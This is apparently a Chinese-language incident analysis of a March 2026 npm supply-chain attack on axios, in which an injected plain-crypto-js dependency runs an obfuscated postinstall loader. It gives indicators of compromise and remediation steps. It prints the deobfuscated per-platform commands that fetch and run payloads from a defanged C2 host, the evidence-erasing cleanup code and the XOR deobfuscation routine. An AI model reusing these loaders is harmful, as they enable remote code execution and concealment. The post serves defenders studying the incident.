axios 遭入侵:npm 供应链攻击利用依赖注入

目录

概要

2026年3月31日,有两个被篡改的 axios 版本被发布到 npm:1.14.10.30.4,涵盖了当前的 1.x 分支和遗留的 0.x 分支。两者都是通过一个疑似被攻陷的维护者账户发布的。攻击者在 package.json 中做了一个修改:在每个版本中注入 plain-crypto-js 作为一个新的依赖项。该包在不到24小时前才发布,包含一个混淆的 postinstall 有效载荷,会联系 C2 服务器并下载针对 macOS、Windows 和 Linux 的平台特定第二阶段有效载荷。axios 的源代码文件未被修改。该攻击完全绕过了项目的 CI/CD 管道和 SLSA 出处证明。

影响:​

  • 使用 axios@^1.14.0axios@^0.30.0 的项目在安装时会自动升级到被篡改的版本
  • 有效载荷通过 postinstall 自动执行,无需用户交互
  • hxxp://sfrclak[.]com:8000/ 获取第二阶段有效载荷
  • Windows、macOS 和 Linux 系统均被针对,配备平台特定的有效载荷

妥协指标(IoC):​

  • [email protected](SHA256:5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd
  • [email protected](SHA256:59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f
  • [email protected][email protected](npm)
  • C2:hxxp://sfrclak[.]com:8000/(解析到 142.11.206.73
  • C2 服务器:Express.js,仅响应 POST 请求(GET 返回 500)
  • 发布者邮箱:ifstap@proton[.]me(被攻陷账户)
  • 发布者邮箱:nrwise@proton[.]me(木马包)
  • macOS:位于 /Library/Caches/com.apple.act.mond 的本机二进制文件(伪装成 Apple 系统守护进程)
  • Windows:复制到 %PROGRAMDATA%\wt.exe 的 PowerShell 二进制文件
  • Linux/默认:位于 /tmp/ld.py 的第二阶段 Python RAT,阶段3二进制文件位于 /tmp/.<random>(带点前缀,隐藏)
  • 第二阶段有效载荷 SHA256(Linux):fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf
  • C2 POST 正文包含 packages.npm.org/product{0,1,2}(平台标识符:0=macOS,1=Windows,2=Linux)
  • $TMPDIR 中的文件 6202033(所有平台)
  • setup.js SHA256:e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09
  • Windows:临时加载文件 %TEMP%\6202033.vbs%TEMP%\6202033.ps1
  • RAT User-Agent:mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
  • RAT 信标间隔:每60秒向 C2 发送一次 HTTP POST
  • 进程指标:来自 $TMPDIRosascript(macOS)、从 %TEMP% 运行 .vbscscript(Windows)、后台运行的 python3 /tmp/ld.py(Linux)

在文件系统中搜索木马脚本:

bash
find / -type f -name "setup.js" -exec shasum -a 256 {} \; 2>/dev/null \ | grep e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09

分析

无 GitHub 标签、无出处、错误发布者

第一个信号:axios GitHub 仓库上没有 v1.14.1 标签。最新的标签是 v1.14.0,发布于2026年3月27日。这个版本在 npm 上出现时没有任何对应的源代码提交。任何人都可以验证这一点:

bash
# No v1.14.1 tag exists gh api repos/axios/axios/git/refs/tags/v1.14.1 # Returns 404 # v1.14.0 tag exists gh api repos/axios/axios/git/refs/tags/v1.14.0 # Returns valid ref object

发布者元数据证实了这个异常。查询 npm 注册表对两个版本的结果显示从自动化 CI 到手动发布的转变:

bash
# Compare publisher between versions curl -s https://registry.npmjs.org/axios/1.14.0 | jq '._npmUser' curl -s https://registry.npmjs.org/axios/1.14.1 | jq '._npmUser'
json
// [email protected] _npmUser { "name": "GitHub Actions", "email": "[email protected]", "trustedPublisher": { "id": "github", "oidcConfigId": "oidc:9061ef30-3132-49f4-b28c-9338d192a1a9" } }
json
// [email protected] _npmUser { "name": "jasonsaayman", "email": "[email protected]" }

真正的 jasonsaayman 账户历史上使用 [email protected]。改为 Proton Mail 地址,加上绕过 CI/CD 的手动发布,都指向账户被接管。

存在于 1.14.0 中的 SLSA 出处证明在 1.14.1 中完全缺失:

bash
# Check provenance attestations curl -s https://registry.npmjs.org/axios/1.14.0 | jq '.dist.attestations' curl -s https://registry.npmjs.org/axios/1.14.1 | jq '.dist.attestations'
json
// [email protected] { "url": "https://registry.npmjs.org/-/npm/v1/attestations/[email protected]", "provenance": { "predicateType": "https://slsa.dev/provenance/v1" } } // [email protected] null

唯一的差异

比较两个版本之间的依赖项,可以看到注入的包:

bash
# Compare dependencies curl -s https://registry.npmjs.org/axios/1.14.0 | jq '.dependencies' curl -s https://registry.npmjs.org/axios/1.14.1 | jq '.dependencies'

提取并对比压缩包确认只有 package.json 不同。JavaScript 源文件未被修改。差异如下:

diff
"version": "1.14.0", "version": "1.14.1", // dependencies "proxy-from-env": "^2.1.0" "proxy-from-env": "^2.1.0", "plain-crypto-js": "^4.2.1" // scripts "fix": "eslint --fix lib/**/*.js", "prepare": "husky" "fix": "eslint --fix lib/**/*.js"

两处更改:添加了新的依赖项,并删除了 prepare 脚本(用于运行 Husky git hooks)。

攻击者还在约40分钟后发布了 [email protected],以同样的注入方式针对遗留的 0.x 分支。使用 ^0.30.0 固定版本的项目同样受到影响。0.30.3 版本是该分支上最后一个合法版本,由 [email protected](真实邮箱)发布。

plain-crypto-js:木马

plain-crypto-js 于2026年3月30日首次发布,距离 axios 被攻陷不到24小时。存在两个版本:4.2.0 和 4.2.1。

json
// plain-crypto-js package.json { "name": "plain-crypto-js", "description": "JavaScript library of crypto standards.", "author": { "name": "Evan Vosberg", "url": "http://github.com/evanvosberg" }, "repository": { "url": "http://github.com/brix/crypto-js.git" }, "scripts": { "postinstall": "node setup.js" } }

该包占据了知名的 crypto-js 库。authorrepository 字段指向合法的 crypto-js 项目以窃取信誉。真正的维护者是 nrwise <[email protected]>,一个没有其他 npm 包的临时 Proton Mail 账户。

[email protected] 与合法的 [email protected] 进行对比,确认这是一个近乎逐字拷贝的包,攻击者添加了两个文件:

文件状态
setup.js已添加。​混淆的有效载荷(4,209字节,单行)。
package.md已添加。​干净的 package.json,不含 postinstall hook,执行后替换以清除证据。
package.json已修改。​添加了 "postinstall": "node setup.js",更改了名称/版本。
其他约40个文件[email protected] 完全相同。​纯粹的伪装。

验证方法:

bash
curl -sL https://registry.npmjs.org/plain-crypto-js/-/plain-crypto-js-4.2.1.tgz | tar xz -C /tmp/mal curl -sL https://registry.npmjs.org/crypto-js/-/crypto-js-4.2.0.tgz | tar xz -C /tmp/legit diff -rq /tmp/mal/package /tmp/legit/package

有效载荷:setup.js

整个有效载荷是单行压缩代码。它使用自定义的两层去混淆方案:base64 编码加字符反转和下划线替换,然后是基于从字符串 OrDeR_7077 派生的轮换密钥的逐字符 XOR 密码。

对字符串表进行静态去混淆后得到:

索引解码值用途
stq[0]child_process模块导入
stq[1]os模块导入
stq[2]fs模块导入
stq[3]http://sfrclak.com:8000/C2 基础 URL
stq[5]win32操作系统检测
stq[6]darwin操作系统检测
stq[7]AppleScript 加载器模板macOS 有效载荷(下载到 /Library/Caches/com.apple.act.mond
stq[8]cscript "LOCAL_PATH" //nologo && del...Windows 执行
stq[9]VBScript 加载器模板Windows 有效载荷(curl + 重命名的 PowerShell)
stq[10]nohup osascript "LOCAL_PATH" > /dev/null 2>&1 &macOS 执行
stq[12]curl -o /tmp/ld.py -d ... -s SCR_LINK && nohup python3 ...Linux 执行
stq[15].exeWindows 持久化后缀
stq[16].ps1PowerShell 脚本扩展名
stq[17].vbsVBScript 扩展名

_entry 函数(使用参数 "6202033" 调用)将完整的 C2 URL 构建为 hxxp://sfrclak[.]com:8000/6202033,然后按操作系统分支:

每个平台都有定制的加载器。C2 使用 packages.npm.org/product{0,1,2} 作为 POST 正文来区分平台请求。

macOS(darwin):​

  1. 将 AppleScript 写入 $TMPDIR/6202033,内容:
    • 使用正文 packages.npm.org/product0 向 C2 发送 POST
    • 将响应保存到 /Library/Caches/com.apple.act.mond(伪装成 Apple 系统守护进程)
    • 使用 chmod 770 在后台执行并通过 /bin/zsh 传递 C2 URL 作为参数
    • 自我删除 AppleScript
  2. 使用 nohup osascript "$TMPDIR/6202033" > /dev/null 2>&1 & 执行

AppleScript 实际上运行:

bash
# macOS: download native binary, make executable, run in background curl -o /Library/Caches/com.apple.act.mond \ -d packages.npm.org/product0 \ -s hxxp://sfrclak[.]com:8000/6202033 \ && chmod 770 /Library/Caches/com.apple.act.mond \ && /bin/zsh -c "/Library/Caches/com.apple.act.mond hxxp://sfrclak[.]com:8000/6202033 &" rm -rf $TMPDIR/6202033

Windows(win32):​

  1. 通过 where powershell 定位 PowerShell
  2. 将 PowerShell 二进制文件复制到 %PROGRAMDATA%\wt.exe(伪装成 Windows Terminal)
  3. 写入 VBScript 到 %TEMP%\6202033.vbs,通过 cmd.exe 链接:
batch
REM Windows: download .ps1, execute hidden, clean up cmd.exe /c curl -s -X POST -d "packages.npm.org/product1" ^ "hxxp://sfrclak[.]com:8000/6202033" > "%TEMP%\6202033.ps1" ^ & "%PROGRAMDATA%\wt.exe" -w hidden -ep bypass -file "%TEMP%\6202033.ps1" ^ "hxxp://sfrclak[.]com:8000/6202033" ^ & del "%TEMP%\6202033.ps1" /f
  1. 通过 cscript "%TEMP%\6202033.vbs" //nologo 运行,然后删除 .vbs

Linux(默认回退):​

使用正文 packages.npm.org/product2 向 C2 发送 POST,将响应保存为 /tmp/ld.py,然后运行:

bash
# Linux: download Python RAT, run in background curl -o /tmp/ld.py -d packages.npm.org/product2 \ -s hxxp://sfrclak[.]com:8000/6202033 \ && nohup python3 /tmp/ld.py hxxp://sfrclak[.]com:8000/6202033 \ > /dev/null 2>&1 &

执行后,有效载荷自我删除 setup.js 并将 package.md 重命名为 package.json,从已安装的包中移除 postinstall hook 以掩盖其行踪:

javascript
// setup.js (deobfuscated cleanup logic) const K = __filename; t.unlink(K, (x) => {}); // delete setup.js t.unlink('package.json', (x) => {}); // delete current package.json (with postinstall) t.rename('package.md', 'package.json', (x) => {}); // replace with clean version

第二阶段:Python RAT

位于 142.11.206.73:8000 的 C2(运行 Express.js)在响应 POST 请求时提供有效载荷。GET 请求返回 500 错误。我们通过使用正文 packages.npm.org/product2 发送 POST 成功获取了 Linux 第二阶段。macOS(product0)和 Windows(product1)的有效载荷在 C2 下线前未被获取。根据第一阶段代码,macOS 有效载荷预计是本机二进制文件(chmod 770,直接执行),Windows 有效载荷是 PowerShell 脚本(.ps1,使用 -ep bypass 运行)。

Linux 第二阶段(ld.py,SHA256:fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf)是一个未混淆的 Python RAT,没有持久化机制(仅在重启前运行)。它支持四种命令类型:

命令功能
kill终止 RAT 进程
peinject二进制加载器:base64 解码有效载荷,写入 /tmp/.<random>(带点前缀的隐藏文件),chmod 0o777,并通过 Popen 执行。第156行有一个bug:引用未定义的 b64_string 而不是 ijtbin 参数,表明代码是从另一个版本复制的。
runscript两种模式:如果 Script 字段为空,运行 Param 作为 shell 命令(shell=True)。如果提供了 Script,则 base64 解码并作为 python3 -c <code> 运行。输出被捕获并返回给 C2。
rundir枚举目录内容(文件名、大小、时间戳)

首次联系时,RAT 发送包含 FirstInfo 信标的信标,包含 $HOME$HOME/.config$HOME/Documents$HOME/Desktop 的目录列表。然后进入60秒轮询循环,发送包含以下内容的 BaseInfo 信标:

  • 主机名、用户名、操作系统、架构
  • 系统制造商和产品名称(来自 /sys/class/dmi/id/
  • 带有 PID、父 PID、用户名和命令行的完整进程列表
  • 启动时间、安装时间、时区

每个信标响应可以包含 RAT 要执行的命令。结果被 base64 编码并 POST 回。所有 C2 通信中的 User-Agent 字符串是硬编码的:

plaintext
mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)

peinject 处理程序(以 Windows PE 注入命名,尽管这是 Linux 变体)是部署阶段3有效载荷的机制:C2 操作员可以随时推送任何二进制文件。第156行有一个 bug,引用未定义的 b64_string 而不是 ijtbin 参数,表明代码是从另一个版本复制的。无论如何,runscript 配合 shell=True 已经提供了等效的能力。

RAT 没有持久化机制。它仅在重启前运行,表明操作员要么在初始访问后通过 runscript/peinject 部署持久化,要么该活动专注于快速数据外泄。

去混淆实战:plain-crypto-js 中的 setup.js

_trans_2 函数反转输入字符串,将下划线交换为 = 填充,然后 base64 解码。结果通过 _trans_1 传递,该函数使用从位置索引派生的轮换密钥对每个字符进行 XOR:

javascript
// _trans_1: XOR cipher with position-dependent key const E = 'OrDeR_7077'.split('').map(Number); // E = [NaN, NaN, NaN, NaN, NaN, NaN, 7, 0, 7, 7] return x.split('').map((char, pos) => { const code = char.charCodeAt(0); const key = E[(7 * pos * pos) % 10]; // quadratic index into key return String.fromCharCode(code ^ key ^ 333); });

二次索引 7 * pos * pos % 10 使密钥轮换非线性,增加了朴素模式分析的难度。常量 333(0x14D)添加了固定的 XOR 层。

攻击概要

这是一次针对 npm 生态系统中流量最高包的依赖项注入攻击:

  1. 攻击者获得 jasonsaayman npm 账户的访问权限(可能是凭据被盗或会话劫持)。发布时的账户邮箱是 [email protected],与之前合法版本中看到的 [email protected] 不同
  2. 从另一个临时账户([email protected])预置 plain-crypto-js
  3. 手动发布 [email protected],绕过 GitHub Actions CI/CD 和 SLSA 出处
  4. 唯一修改:在 dependencies 中注入 plain-crypto-js 并移除 prepare 脚本
  5. 约40分钟后在 [email protected] 上重复注入,以覆盖遗留的 0.x 分支

这次攻击值得注意之处在于其克制。没有修改任何 axios 源文件,使传统的基于差异的代码审查不太可能捕获它。恶意行为完全存在于传递依赖项中,通过 npm 的 postinstall 生命周期自动触发。

每周约有一亿次下载量,任何使用插入符号范围(^1.14.0)的项目都会在下一次 npm install 时拉取 1.14.1。

建议采取的行动

  1. 在锁文件中将 axios 固定到 1.14.0(或 0.x 分支的 0.30.3)或更早版本
  2. 审计在2026年3月31日 00:21 UTC 之后运行过 npm install 的系统是否有持久化痕迹
  3. 检查:$TMPDIR/6202033(所有平台)、%PROGRAMDATA%\wt.exe(Windows)、/tmp/ld.py(Linux)
  4. 在安装了 axios 1.14.1 的任何系统上轮换凭据

结论

在需要进行任何代码分析之前,出处信号已经讲述了完整的故事:无 GitHub 标签、无 SLSA 证明、发布者邮箱变更、绕过 CI/CD 的手动发布。

参考资料

SafeDep 博客最新更新

关注以获取开源安全与工程的最新更新和见解